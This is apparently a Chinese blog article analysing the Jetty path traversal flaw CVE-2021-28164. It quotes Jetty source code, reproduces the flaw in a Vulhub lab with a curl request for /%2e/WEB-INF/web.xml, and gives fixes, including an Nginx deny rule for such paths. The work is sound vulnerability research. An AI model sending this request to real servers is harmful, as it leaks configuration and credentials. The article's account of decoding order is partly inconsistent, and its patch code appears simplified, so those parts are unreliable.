CVE-2021-28164源码分析与漏洞复现

article/2025/8/13 12:23:27

漏洞概述

漏洞名称:Jetty 路径解析逻辑漏洞导致 WEB-INF 敏感信息泄露
漏洞编号:CVE-2021-28164
CVSS 评分:7.5
影响版本:Jetty 9.4.37 - 9.4.38
修复版本:Jetty ≥ 9.4.39
漏洞类型:路径遍历/信息泄露

CVE-2021-28164 是 Eclipse Jetty 服务器在处理 URI 路径时因编码解析顺序与路径规范化逻辑冲突导致的安全漏洞。攻击者通过构造包含 URL 编码点段(如 %2e)的恶意路径(如 /%2e/WEB-INF/web.xml),可绕过安全校验直接访问 WEB-INF 目录下的敏感文件(如 web.xmlclasses 等),导致应用配置、数据库凭证等敏感信息泄露。


技术细节与源码分析

漏洞成因

Jetty 为符合 RFC3986 规范,默认支持 URI 编码解析,但在处理路径时存在两阶段缺陷:

  1. 路径规范化顺序错误:先解析 URL 编码(如 %2e.),再执行路径规范化(处理 . / .. 点段)。
  2. 安全校验滞后ContextHandler 的防护逻辑在规范化后执行,无法检测编码后的恶意路径。
关键源码分析

(1)路径解析入口HttpURI.parse()
代码定位org.eclipse.jetty.http.HttpURI

   public void parse(String uri) {clear();this._uri = uri;parse(State.START, uri, 0, uri.length());}
   private void parse(State state, String uri, int offset, int end) {if (!encoded && j == 0) {if (this._param == null) {this._decodedPath = this._path;} else {this._decodedPath = this._path.substring(0, this._path.length() - this._param.length() - 1);} } else if (this._path != null) {String canonical = URIUtil.canonicalPath(this._path);// 先规范化路径(未解码)if (canonical == null)throw new BadMessageException("Bad URI"); this._decodedPath = URIUtil.decodePath(canonical);// 再解码URL编码} }

问题canonicalPath() 无法识别编码后的点段(如 %2e),导致 /%2e/ 未被规范化为当前目录。

(2)路径规范化函数canonicalPath()
代码定位org.eclipse.jetty.http.HttpURI#canonicalPath

   public static String canonicalPath(String path) {if (path == null || path.isEmpty()) {return path;}int end = path.length();int i = 0;int dots = 0;while (i < end) {char c = path.charAt(i);switch (c) {case '/':dots = 0;break;case '.':if (dots == 0) {dots = 1;break;} dots = -1;break;default:dots = -1;break;} i++;} if (i == end) {return path;}StringBuilder canonical = new StringBuilder(path.length());canonical.append(path, 0, i);i++;while (i <= end) {       char c = (i < end) ? path.charAt(i) : Character.MIN_VALUE;switch (c) {case '\000':if (dots == 2) {if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);} break;case '/':switch (dots) {case 1:break;case 2:if (canonical.length() < 2)return null; canonical.setLength(canonical.length() - 1);canonical.setLength(canonical.lastIndexOf("/") + 1);break;default:canonical.append(c); break;} dots = 0;break;case '.':switch (dots) {case 0:dots = 1;break;case 1:dots = 2;break;case 2:canonical.append("...");dots = -1;break;} canonical.append('.');break;         default:switch (dots) {        case 1:canonical.append('.');break;case 2:canonical.append("..");break;}           canonical.append(c);dots = -1;break;} i++;} return canonical.toString();// 仅处理明文"."和"..",忽略%2e等编码形式}

缺陷:仅过滤明文点段,未处理编码形式,导致 /%2e/WEB-INF/web.xml 绕过规范化。

(3)安全校验逻辑ContextHandler.isProtectedTarget()
代码定位org.eclipse.jetty.server.handler.ContextHandler#isProtectedTarget

   public boolean isProtectedTarget(String target) {if (target == null || this._protectedTargets == null) {return false;}while (target.startsWith("//")){target = URIUtil.compactPath(target);}     for (int i = 0; i < this._protectedTargets.length; i++) {       String t = this._protectedTargets[i];if (StringUtil.startsWithIgnoreCase(target, t)) {   // 直接匹配路径保护路径前缀       if (target.length() == t.length()) {return true;} char c = target.charAt(t.length());if (c == '/' || c == '?' || c == '#' || c == ';')return true; } } return false;}

漏洞点:该校验在路径解码后执行,攻击者通过 /%2e/WEB-INF 可绕过 startsWithIgnoreCase("/WEB-INF") 检测。

漏洞触发路径
sequenceDiagram  攻击者->>+Jetty服务器: 发送请求 GET /%2e/WEB-INF/web.xml  Jetty服务器->>HttpURI.parse(): 原始路径="%2e/WEB-INF/web.xml"  HttpURI.parse()-->>canonicalPath(): 输入未解码路径 → 未识别"%2e" → 输出不变  HttpURI.parse()-->>decodePath(): 解码"%2e" → 生成"./WEB-INF/web.xml"  Jetty服务器->>ContextHandler: 校验"./WEB-INF/web.xml"  ContextHandler-->>isProtectedTarget(): 检查"./WEB-INF" → 不匹配"/WEB-INF" → 放行  Jetty服务器->>文件系统: 返回web.xml内容  

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机

 docker-compose up -d 

在这里插入图片描述
2.访问访问 http://target:8080,确认服务正常运行
在这里插入图片描述

攻击步骤
1.直接访问/WEB-INF/web.xml将会返回404页面
在这里插入图片描述

2.使用%2e/来绕过限制下载web.xml

curl -v 'http://192.168.1.100:8080/%2e/WEB-INF/web.xml'

在这里插入图片描述


修复方案

官方修复(Jetty 9.4.39+)

补丁核心:调整路径处理顺序,先解码后规范化,并强化安全校验:

  1. 修改 HttpURI.parse() 逻辑
    _decodedPath = decodePath(rawURI);        // 先解码  
    _path = canonicalPath(_decodedPath);      // 后规范化  
    
  2. 增强 isProtectedTarget()
    protected boolean isProtectedTarget(String target) {  String canonicalPath = URIUtil.canonicalPath(target);  return canonicalPath.startsWith("/WEB-INF") || ... ; // 规范化后校验  
    }  
    
临时缓解措施
  1. 升级 Jetty:≥ 9.4.39 或 ≥ 10.0.5。
  2. 配置过滤规则:在反向代理(如 Nginx)拦截包含 /WEB-INF%2e 的请求:
    location ~* "/\.|%2e|WEB-INF" { return 403; }  
    
  3. 权限控制:确保 WEB-INF 目录权限禁止非授权访问。


漏洞启示

  1. 规范与安全的冲突:RFC3986 的兼容性需求可能引入安全风险,需在规范实现中植入安全校验(如规范化后二次验证)。
  2. 纵深防御必要性:除代码修复外,应结合网络层过滤和权限最小化原则。
  3. 自动化检测:CI/CD 流程中需加入路径遍历测试用例(如 OWASP ZAP 扫描 /..%2f 变体)。

参考链接

  1. CVE-2021-28164 漏洞原理与源码分析(阿里云先知社区)

http://www.hkcw.cn/article/UroTqsydSX.shtml

相关文章

微软常用运行库合集(VisualC++)2025.04.22

软件下载 【名称】&#xff1a;微软常用运行库合集(Visual C)2024.11.07 【大小】&#xff1a;76 .7MB 【语言】&#xff1a;简体中文 【安装环境】&#xff1a;Win7/Win8/Win10/Win11 【迅雷网盘下载】&#xff1a; 链接&#xff1a;https://pan.xunlei.com/s/VOCJ3CDOT6HEhQN…

CATANet:面向轻量级图像超分辨率的高效内容感知令牌聚合方法

摘要 基于Transformer的方法在图像超分辨率&#xff08;SR&#xff09;等底层视觉任务中展现出了令人印象深刻的性能。然而&#xff0c;其计算复杂度随空间分辨率呈二次方增长。一系列研究试图通过将低分辨率&#xff08;LR&#xff09;图像划分为局部窗口、轴向条纹或膨胀窗口…

十四、【测试执行篇】让测试跑起来:API 接口测试执行器设计与实现 (后端执行逻辑)

[TOC](【测试执行篇】让测试跑起来&#xff1a;API 接口测试执行器设计与实现 (后端执行逻辑)) 前言 测试执行是测试平台的核心价值所在。一个好的测试执行器需要能够&#xff1a; 准确解析测试用例&#xff1a; 正确理解用例中定义的请求参数和断言条件。可靠地发送请求&am…

Linux环境基础开发工具->make/Makefile

引入&#xff1a;make/Makefile是什么&#xff1f; 前面我们知道了vim负责编辑代码&#xff0c;gcc负责编译代码&#xff0c;而make/Makefile则负责的是自动化编译&#xff01; Makefile是一个文件&#xff0c;make是一条指令 我们在Makefile文件中进行编辑&#xff0c;让哪些…

VMware Tools 手动编译安装版

OWASPBWA安装VMware tools 安装时&#xff0c;显示如下提示 官方安装手册参考&#xff1a;https://knowledge.broadcom.com/external/article?legacyId1014294 按照提示&#xff0c;下载linux.iso文件&#xff0c;并连接到虚拟机的CDROM里&#xff0c;状态勾选已连接&#x…

OpenFeign和Gateway集成Sentinel实现服务降级

目录 OpenFeign集成Sentinel实现fallback服务降级cloud-alibaba-payment8003(支付服务)cloud-common-api(通用模块)cloud-alibaba-order9003(订单服务)Sentinel配置流控规则测试结果 Gateway集成Sentinel实现服务降级cloud-gateway9527(网关)测试结果 总结 OpenFeign集成Sentin…

远程管理SSH服务的搭建

一、搭建SSH服务 1、关闭防火墙与SELinux # 关闭firewalld防火墙 # 临时关闭 systemctl stop firewalld # 关闭开机自启动 systemctl disable firewalld# 关闭selinux # 临时关闭 setenforce 0 # 修改配置文件 永久关闭 vim /etc/selinux/config SELINUXdisabled2、配置yum源…

Cesium快速入门到精通系列教程二

一、添加地形与添加自定义地形 在 Cesium 1.93 中添加地形可以通过配置terrainProvider实现。Cesium 支持多种地形数据源&#xff0c;包括 Cesium Ion 提供的全球地形、自定义地形服务以及开源地形数据。下面介绍几种常见的添加地形的方法&#xff1a; 使用 Cesium Ion 全球地…

基于FashionMnist数据集的自监督学习(生成式自监督学习VAE算法)

目录 一&#xff0c;VAE 1.1 VAE的简介 1.2 VAE的核心思想 1.3 VAE的结构 1.4 VAE的工作原理 1.5 VAE 与传统自动编码器&#xff08;AE&#xff09;的区别 1.6 VAE 的应用场景 二&#xff0c;代码逻辑分析 2.1 整体逻辑 2.2 VAE模型 2.3 训练策略与优化 2.4 自适应学…

ESP32基础知识1:项目工程建立和烧录

ESP32基础知识1&#xff1a;项目工程建立和烧录 一、本文内容与前置知识点1. 本文内容2. 前置知识点 二、新建工程1. 工程配置2. 依照模板建立项目 三、硬件烧录1. 硬件准备2. 烧录器和ESP32连接3. 电脑端设置4. 烧录成功演示 四、参考文献 一、本文内容与前置知识点 1. 本文内…

duilib图片属性中corner属性九宫格拉伸说明

在duilib中&#xff0c;图片设置里有corner属性&#xff0c;类似于android系统里的九宫格&#xff0c;对应的分区域拉伸被称为九宫格拉伸。设置corner属性后&#xff0c;将区域分成3x3的九个区域&#xff0c;如下所示&#xff1a; 除了4个拐角区域不拉伸&#xff0c;其余5个区域…

《操作系统真相还原》——进入内核

ELF 按书上的操作来&#xff0c;在现代操作平台编译链接默认生成elf64 格式的文件&#xff0c; 很显然程序头位置发生变化&#xff0c;因为定义elf 结构的类型中有64位&#xff0c;所以我们需要将编译链接出32位格式的 gcc -m32 -c -o main.o main.c ld -m elf_i386 main.o …

笔试笔记(运维)

&#xff08;数据库&#xff0c;SQL&#xff09; limit1 随机返回其中一个聚合函数不可以嵌套使用 【^】这个里面的数据任何形式组合都没有 sql常用语句顺序&#xff1a;from-->where-->group by-->having-->select-->order by-->limit 只要其中一个表存在匹…

医疗数理范式化:从范式迁移到认知革命的深度解析

引言 在当代医疗领域,数理思维已经从辅助工具逐渐发展成为核心决策支持系统的关键组成部分。随着数字技术的迅猛发展,医疗行业正经历着前所未有的变革,而数理思维作为这一变革的核心驱动力,正在深刻重塑医疗实践的方方面面。数理思维在医疗领域的应用,本质上是将抽象的数…

golang -- slice 底层逻辑

目录 一、前言二、结构三、创建3.1 根据 make创建3.2 通过数组创建 四、内置append追加元素4.1 追加元素4.2 是否扩容4.2.1 不扩容4.2.2 扩容 总结 一、前言 前段时间学了go语言基础&#xff0c;过了一遍之后还是差很多&#xff0c;所以又结合几篇不同资料重新学习了一下相关…

Fashion-MNIST LeNet训练

前面使用线性神经网络softmax 和 多层感知机进行图像分类&#xff0c;本次我们使用LeNet 卷积神经网络进行 训练&#xff0c;期望能捕捉到图像中的图像结构信息&#xff0c;提高识别精度&#xff1a; import torch import torchvision from torchvision import transforms f…

数据库系统概论(十)SQL 嵌套查询 超详细讲解(附带例题表格对比带你一步步掌握)

数据库系统概论&#xff08;十&#xff09;SQL 嵌套查询 超详细讲解&#xff08;附带例题表格对比带你一步步掌握&#xff09; 前言一、什么是嵌套查询&#xff1f;1. 基础组成&#xff1a;查询块2. 嵌套的两种常见位置&#xff08;1&#xff09;藏在 FROM 子句里&#xff08;当…

Azure 机器学习初学者指南

Azure 机器学习初学者指南 在我们的初学者指南中探索Azure机器学习&#xff0c;了解如何设置、部署模型以及在Azure生态系统中使用AutoML & ML Studio。Azure 机器学习 &#xff08;Azure ML&#xff09; 是一项全面的云服务&#xff0c;专为机器学习项目生命周期而设计&am…

使用win11圆角指针教程

一.准备文件 win11圆角指针下载链接&#xff1a;https://wwxh.lanzoum.com/iwsZH2xqmy0d 密码&#xff1a;em 二.开始安装 1.将下载的压缩包解压&#xff08;随便存哪&#xff0c;最后可以删掉&#xff09; 右键&#xff0c;点击“全部解压缩” 点击“提取” 2.安装 选…

day16 leetcode-hot100-30(链表9)

24. 两两交换链表中的节点 - 力扣&#xff08;LeetCode&#xff09; 1.模拟法 思路 模拟题目要求进行两两交换&#xff0c;但有一点需要注意&#xff0c;比如交换3与4后&#xff0c;1仍然指的是3&#xff0c;这是不正确的&#xff0c;所以1指针的next也需要修改&#xff0c;所…